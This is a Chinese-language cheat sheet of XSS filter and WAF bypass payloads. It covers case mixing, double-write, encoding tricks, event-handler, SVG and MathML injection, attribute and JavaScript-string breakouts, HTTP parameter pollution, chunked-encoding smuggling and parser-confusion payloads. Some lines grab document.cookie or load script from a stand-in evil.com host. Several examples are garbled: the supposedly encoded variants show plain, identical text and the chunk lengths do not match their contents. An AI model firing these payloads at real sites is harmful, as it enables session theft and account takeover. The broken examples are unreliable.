XSS 过滤绕过大全:20+ 种绕过技巧与真实 Payload
一、为什么绕过如此容易
现实中,开发人员对 XSS 的防御通常有两档:
| 防御档位 | 做法 | 效果 |
|---|---|---|
| 入门档 | 黑名单替换 <script> → 空字符串 |
🚫 很容易绕过 |
| 标准档 | HTML 实体编码 + 输出上下文区分 | ✅ 大部分场景有效 |
| 高阶档 | CSP + DOMPurify + HttpOnly Cookie | 🔒 较难绕过 |
本文聚焦第一档和第二档防御下的绕过技巧。对于第三档(有 CSP)的绕过,我们会在《CSP 防御绕过》一文中深入讨论。
二、黑名单过滤的经典绕过
2.1 大小写混合
当过滤器只匹配小写或标准写法时:
// 过滤规则:替换 <script> 为空
// 绕过:
<Script>alert(1)</Script>
<SCRIPT>alert(1)</SCRIPT>
<ScRiPt>alert(1)</ScRiPt>
浏览器 HTML 解析器对标签名是大小写不敏感的。
2.2 双重/多重写
如果过滤器只替换一次:
// 过滤器逻辑:str.replace(/script/gi, '')
// 输入:<scrscriptipt>alert(1)</scrscriptipt>
// 输出:<script>alert(1)</script> ← 两个 "script" 夹在一起,替换后中间的留下来
<scrscriptipt>alert(1)</scrscriptipt>
2.3 编码绕过(HTML 实体)
HTML 实体编码
// 完整实体
<script>alert(1)</script>
<script>alert(1)</script>
// 部分实体(只编码关键字符)
<script>alert(1)</script>
<script>alert(1)</script>
<script>alert(1)</script>
注意:HTML 实体在 HTML 解析阶段被还原,所以浏览器渲染时会把 s 还原成 s,然后执行脚本。但这只在标签之间的文本上下文中有效,如果在属性值里效果不同。
URL 编码
// 全 URL 编码
%3Cscript%3Ealert(1)%3C%2Fscript%3E
// 双重 URL 编码(如果服务端会先解码一次)
%253Cscript%253Ealert(1)%253C%252Fscript%253E
// 服务端解码一次 → %3Cscript%3Ealert(1)%3C%2Fscript%3E
// 渲染时浏览器再解码 → <script>alert(1)</script>
Unicode / UTF-7 绕过(老浏览器)
// UTF-7 编码,部分老浏览器会解码
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
// JavaScript unicode escape
<script>alert(1)</script>
<script>alert(1)</script>
<script>alert(0x31)</script>
2.4 空格与注释插入
浏览器 HTML 解析器容忍很多奇怪写法:
// 标签名内插入空字符(某些环境)
<script>alert(1)</script>
// 在标签之间插入 HTML 注释
<script><!-- comment -->alert(1)</script>
// 多个标签嵌套打破
<script>/*<script>*/alert(1)</script>
三、不用 script 标签的 XSS
3.1 事件处理器注入
HTML 标签上的事件属性在不依赖 script 标签的情况下执行代码:
// 图片加载失败触发
<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<img src=x onerror='alert(1)'>
<img src=x onerror=alert('xss')>
<img src=x onerror=javascript:alert(1)> // 错误写法
// 其他常用事件
<img src=x onerror=alert(document.cookie)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<video onerror=alert(1)></video>
<marquee onstart=alert(1)>xss</marquee>
<svg onload=alert(1)>
// 无需交互(autofocus + onfocus 配合)
<input onfocus="alert(1)" autofocus>
3.2 SVG 标签内脚本
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(1)</script>
</svg>
<svg onload=alert(1)></svg>
<svg><a><animate attributeName="href" values="javascript:alert(1)" dur="1s" repeatCount="indefinite" /></a>
// SVG foreignObject 内嵌入 HTML
<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><img src=x onerror=alert(1)></div></foreignObject></svg>
3.3 MATH 标签
<math xmlns="http://www.w3.org/1998/Math/MathML">
<mtext>
<img src=x onerror=alert(1)>
</mtext>
</math>
3.4 特殊标签 + javascript: 协议
// 锚点 href
<a href="javascript:alert(1)">点击</a>
<a href="javascript:alert('xss')">点击</a>
// protocol-relative 等变种
<a href="JaVaScRiPt:alert(1)">点击</a>
<a href="javascript:alert(1)">点击</a>
<a href="data:text/html,<script>alert(1)</script>">点击</a>
// src 属性
<img src="javascript:alert(1)"> // 现代浏览器多数已阻止
<iframe src="javascript:alert(1)"> // 部分浏览器仍可
<embed src="javascript:alert(1)">
<object data="javascript:alert(1)">
3.5 srcdoc + iframe
// srcdoc 属性接受 HTML 字符串,不经过服务器
<iframe srcdoc="<img src=x onerror=alert(1)>">
// 实体编码绕过过滤器
<iframe srcdoc="<img src=x onerror=alert(1)>">
四、属性注入绕过(在 HTML 属性值内部)
4.1 经典 payload:闭合引号 + 新属性
假设输入被放进了某个 HTML 属性里:
<div id="message" class="user-input">USER_INPUT_HERE</div>
如果属性值使用双引号包裹
" onmouseover="alert(1)" x="
// 结果:
// <div id="message" class="user-input" onmouseover="alert(1)" x="">
如果属性值使用单引号包裹
' onmouseover='alert(1)' x='
如果属性值没有引号包裹
onmouseover=alert(1) x=
// 注意:如果目标属性是 value,且没有引号,可以直接写
// <input value=onfocus=alert(1) autofocus>
4.2 JavaScript 属性内注入
如果输入被放进了一个 <script> 标签的 JS 字符串中:
<script>
var name = "USER_INPUT_HERE";
// 或
var name = 'USER_INPUT_HERE';
</script>
双引号内
";alert(1);//
// 结果:
// var name = "";alert(1);//";
单引号内
';alert(1);//
模板字符串内
${alert(1)}
// 结果:
// var name = `${alert(1)}`; ← 模板表达式被执行
4.3 URL 属性内注入
假设输入被放进了 <a href="...">:
javascript:alert(1)
javascript://alert(1)
javascripT:alert(1)
javaScript:alert(1)
javascript:/* comment */alert(1)
如果服务端只检查 http:// 开头但不严格:
http://evil.com" onmouseover="alert(1)
// 闭合双引号,附加事件
五、WAF(Web 应用防火墙)绕过技巧
5.1 编码绕过 WAF
WAF 通常对原始请求做正则匹配,而服务端可能会对输入做解码,形成绕过:
// WAF 拦截 <script>,但不拦截 URL 编码
// 发送双重 URL 编码请求(某些 WAF 不解码,只看原始字节)
GET /search?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E HTTP/1.1
// WAF 看到 %253Cscript%253E → 不匹配 <script> → 放行
// PHP urldecode 一次:%3Cscript%3E → 还不过滤?
// 浏览器渲染前再解码:<script>alert(1)</script> → 执行
// multipart/form-data 中利用边界
// 攻击者可以伪造 Boundary
5.2 HTTP 参数污染(HPP)
// 如果后端用的是旧版 ASP/IIS 或某些框架
// 多个同名参数时,WAF 和后端取的可能不一样
GET /search?q=safe&q=<script>alert(1)</script>
// WAF 检查第一个 q=safe → 通过
// IIS/ASP 把 q 组合为 "safe, <script>alert(1)</script>" → 包含恶意
// PHP $_GET['q'] 取最后一个 → <script>alert(1)</script>
5.3 分块传输编码绕过
POST /comment HTTP/1.1
Host: victim.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
5
name=
13
<scr
0a
ipt>alert(1)</s
15
cript>&msg=hi
0
// WAF 可能只看第一块(name=)→ 放过
// 后端合并后完整拼成 <script>alert(1)</script> → 执行
5.4 大小写 + 编码混合(针对 CSP nonce)
如果 CSP 使用 script-src 'nonce-xxx',但 WAF 检查不严:
// 如果开发者把 nonce 放在 URL 参数里
// (bad practice, but real world happens)
<script nonce="DYNAMIC_NONCE">alert(1)</script>
// 攻击者尝试:
<script nonce="DYNAMIC_NONCE" src="evil.js"></script>
六、浏览器解析器差异绕过
6.1 IE 特有的一些技巧
虽然 IE 已经退出历史舞台,但了解有助于理解绕过思路:
// IE 某些版本允许在 HTML 属性中写入
<img src="x" alt="onmouseover="alert(1)"">
// IE 的条件注释
<!--[if gte IE 4]><script>alert(1)</script><![endif]-->
6.2 Chrome/Firefox 差异
// 某些属性在不同浏览器下解析不同
<div onmouseover=alert(1)>hover</div>
// HTML5 中换行符
在属性值前可能被忽略
<img src=x
onerror=alert(1)>
// 斜杠作为标签名分隔符
<script/foo>alert(1)</script>
<script>alert(1)</script/foo>
6.3 0day payload(解析器混淆)
// 利用 HTML 解析器的特殊行为
<math><mtext><table><mglyph><style></table><img src=x onerror=alert(1)>
// 利用 <xmp> 标签打破(被打破后后面的内容按 HTML 解析)
<xmp><script>alert(1)</script>
</xmp>
// <noscript> + <title>
<noscript><title></title><script>alert(1)</script>